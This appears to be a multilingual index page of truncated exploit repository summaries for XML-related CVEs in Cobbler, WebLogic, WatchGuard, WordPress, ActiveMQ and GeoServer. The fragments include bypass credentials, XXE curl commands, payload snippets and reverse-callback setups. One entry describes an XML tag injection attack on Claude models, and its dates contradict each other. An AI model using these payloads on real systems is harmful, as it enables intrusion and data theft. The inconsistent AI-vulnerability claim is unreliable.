Evtx_Log_Browser

Evtx ログ xml ブラウザ Windows evtx イベントログを閲覧し、xml にエクスポートします 最新版はこちら 依存関係: .NET Framework 4.8 Powershell バージョン: 5.1...

CVE-2024-47533

CVE-2024-47533 – Cobbler XML-RPC 身份验证绕过漏洞利用 📜 描述 CVE-2024-47533 是 Cobbler 中的一个 严重身份验证绕过漏洞 ，Cobbler 是一款用于自动化网络操作系统安装的 Linux 安装服务器。 该缺陷由 utils.getsharedsecret 中的问题导致，该函数 始终返回-1，从而允许 未经过身份验证 的访问进入 Cobbler XML-RPC API。 攻击者可以使用以下凭据连接： 用户名： ""（空字符串） 密码： -1 这将授予 管理员级访问权限 ，允许执行添加发行版、管理配置文件或通过 Cobbler...

claude-XML-injection

Claude Sonnet 4.6 — Credential Fabrication via XML Tag Injection Reported: June 14, 2026 | Patched: June 20, 2026 | Anthropic Response: None 56 days Researcher: X1NON Affected Model: Claude Sonnet 4.6 and other non-Haiku Claude models Severity: High CVSS 8.7 Status: Patched — No bounty awarded, n...

CVE-2023-43208_Detection_PoC

CVE-2023-43208DetectionPoC java.net.InetAddress를 사용한 탐지 root@kitploit: POST /api/users HTTP/1.1 Host: ip:8443 User-Agent: Mozilla/5.0 X11; CrOS x8664 14541.0.0 AppleWebKit/537.36 KHTML, like Gecko Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 1964 Content-Type:...

CVE-2025-27136

CVE-2025-27136 XML External Entity（XXE）脆弱性の悪用 XMLペイロードを使用して機密ファイルを取得する（PoC） test.xml root@kitploit: curlを使用して、ローカルマシンからバケットに test.xml をアップロードします。 root@kitploit: curl -X PUT http://127.0.0.1:PORT/TB1 -H "Content-Type: application/xml" -d @test.xml エクスプロイトをトリガーしてファイルを取得する root@kitploit: curl...

CVE-2020-26259

描述 XStream 在反序列化时容易受到本地主机上的任意文件删除攻击，只要执行进程具有足够的权限。 影响范围 Xstream \n" + " \n" + " \n" + " 0\n" + " \n" + " \n" + " \n" + " text/plain\n" + " \n" + " C:\Al1ex.txt\n" + " \n" + " \n" + " \n" + " \n" + " 0\n" + " \n" + " /jdk.nashorn.internal.objects...

crack-0.1.8-fixed

crack MerbとRailsから流用した、とてもシンプルなJSONおよびXMLパーサーです。XMLパーサーはMerbから、JSONパーサーはRailsから拝借しました。私の功績ではありません。皆さんが楽しんで簡単に使えるようにパッケージ化しただけです。 == リリースに関する注意 リリースはgithub上でタグ付けされ、githubとrubyforgeでgemとしてもリリースされています。masterには、パッチや新機能を追加するたびにプッシュされます。masterからビルドするには、コードをクローンし、更新されたgemspecを生成して、gemをビルドしてインストールしてください。...

CVE-2021-29447

WordPress 5.6-5.7 - 認証済み Author+ XXE CVE-2021-29447 使用方法 ステップ1. WordPressを起動 root@kitploit: $ make up-wp ステップ2. 攻撃者用Webサーバーを起動 root@kitploit: $ make up-mal ステップ3. 悪意のあるWAVファイルを生成 wavefile npmを使わない場合 推奨 root@kitploit: $ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00%remote;%init;%trick;...

CLSA-2026-1789289706 TuxCare security update for fast-xml-parser (1 CVE)

TuxCare rebuilt fast-xml-parser to address 1 CVE. Fixed in 4.5.1-tuxcare.1...

cve-2023-45612_exploit

cve-2023-45612exploit CVE-2023-45612 は、2023 年に修正された、Ktor の XML シリアライゼーションに対する XXE XML 外部エンティティ 攻撃を可能にする深刻度の高いセキュリティ問題です。 セキュリティ問題の再現 以下は、この問題を再現した詳細な方法です。 IntelliJ IDEA プロジェクト まず、XML ファイルを処理するサーバーが必要です。IntelliJ IDEA から Kotlin プロジェクトを作成し、必要な Ktor の依存関係とシリアライゼーションプラグインを使用するために build.gradle.kts...

CVE-2024-45427-Exploit

CVE-2024-45427 エクスプロイトジェネレータ このスクリプトは、PhpSpreadsheetライブラリ（v3.7.0）のCVE-2024-45427 を悪用する悪意のあるExcel（.xlsx）ファイルを生成します。 生のXMLを操作してシート名にXSSペイロードを注入し、標準ライブラリの検証チェックをバイパスします。 使用方法 1. exploit.pyを編集し、MYIPとPORTを設定します。 2. スクリプトを実行します： root@kitploit: python3 exploit.py 3. リスナーを起動します： root@kitploit: python3 -m...

watchguard_cve-2022-26318

watchguardcve-2022-26318 Watchguard RCE POC CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def buildPayloadLHOST:...

cve-2025-58360

GeoServer: CVE-2025-58360 免責事項 このリポジトリに含まれるコードおよび情報は、教育および研究目的のみで提供されています。リポジトリの管理者は、あなたがこのコードや情報を用いて行う一切の行為について責任を負いません。あなたの行動はあなた自身の責任です。法律および倫理に従って適切に使用してください。 Python3 クラス exploit/exploiter.py ファイル内の Python3 クラス（GeoDumper）は、XXE 脆弱性の悪用を自動化し、漏洩した情報をローカルファイルに保存します。 例： root@kitploit: import...

zk-xml-probe

zk-xml-probe 認可されたバグバウンティテストにおけるXMLパーサー動作（CVE-2026-45071）検証用の静的XMLフィクスチャ。...

ActiveMQ-RCE

ActiveMQ RCE 影響を受けるバージョン バージョン open -a calculator HTTP サーバーを起動します root@kitploit: python3 -m http.server Main.java ファイルを実行します（必要に応じてアドレスを変更してください）。...

teamcity-idea-cve-2020-35667-poc

TeamCity IntelliJ IDEA プラグインの資格情報傍受 CVE-2020-35667 クイックリンク 概念実証レポート | ワークフロー解析 | サーバースクリプト 説明 これは、偽の XML-RPC TeamCity エンドポイント を作成することによる CVE-2020-35667 の再現です。 CVE-2020-35667 は、IntelliJ IDE 用 JetBrains TeamCity プラグインにおける SSRF 脆弱性 です。 旧版の TeamCity IntelliJ プラグインはサーバーから公開鍵を要求し、それでパスワードを暗号化して送り返します。...

external_expact_AOSP10_r33_CVE-2022-25313

Expat，版本 2.2.6 这是 Expat，一个用于解析 XML 的 C 库，由 James Clark 于 1997 年创建。 Expat 是一个面向流的 XML 解析器。这意味着在开始解析之前，你需要向解析器注册 处理程序。当解析器在正在解析的文档中发现相关结构时，会调用这些处理程序。 起始标签就是你可以为其注册处理程序的那种结构的一个例子。 Windows 用户应使用 expatwin32 包， 其中包含预编译的库和可执行文件，以及供开发人员使用的源代码。 Expat 是自由软件。 你可以根据随此包分发的 COPYING 文件中所包含的许可证条款，对其进行复制、分发和修改。...

external_expact_AOSP10_r33_CVE-2022-25315

Expat、リリース 2.2.6 Expatは、1997年にJames Clarkによって開始された、XMLを解析するためのCライブラリです。 Expatはストリーム指向のXMLパーサーです。つまり、解析を開始する前にパーサーにハンドラを登録します。パーサーが解析中の文書内で関連する構造を検出すると、これらのハンドラが呼び出されます。開始タグは、ハンドラを登録できる構造の一例です。 Windowsユーザーは、expatwin32 パッケージを使用してください。このパッケージには、プリコンパイル済みのライブラリと実行ファイル、および開発者向けのソースコードが含まれています。...

CVE-2019-2725

CVE-2019-2725 WebLogic Universal Exploit - CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 ペイロードビルダー & エクスプロイト 情報 / ヘルプ root@kitploit: $ python3 weblogicexploit.py -h ======================================================================== | WebLogic Universal Exploit | |...

jsonorg-tp1

json.org CVE-2022-45688 真陽性 このプロジェクトは、CVE-2022-45688 の json.org における問題を示しています -- 入力からXMLを読み取り、JSONに変換してコンソールにプリティプリントするシンプルなアプリケーション XML2JSONConverter があります。 悪意のある入力を使うと、アプリケーションはスタックオーバーフローでクラッシュします。 テストケース CVE202245688Test はこの動作を示しています。これは mvn test を実行することで実行できます。 ソフトウェア構成分析の実行 さまざまな解析を実行するための ...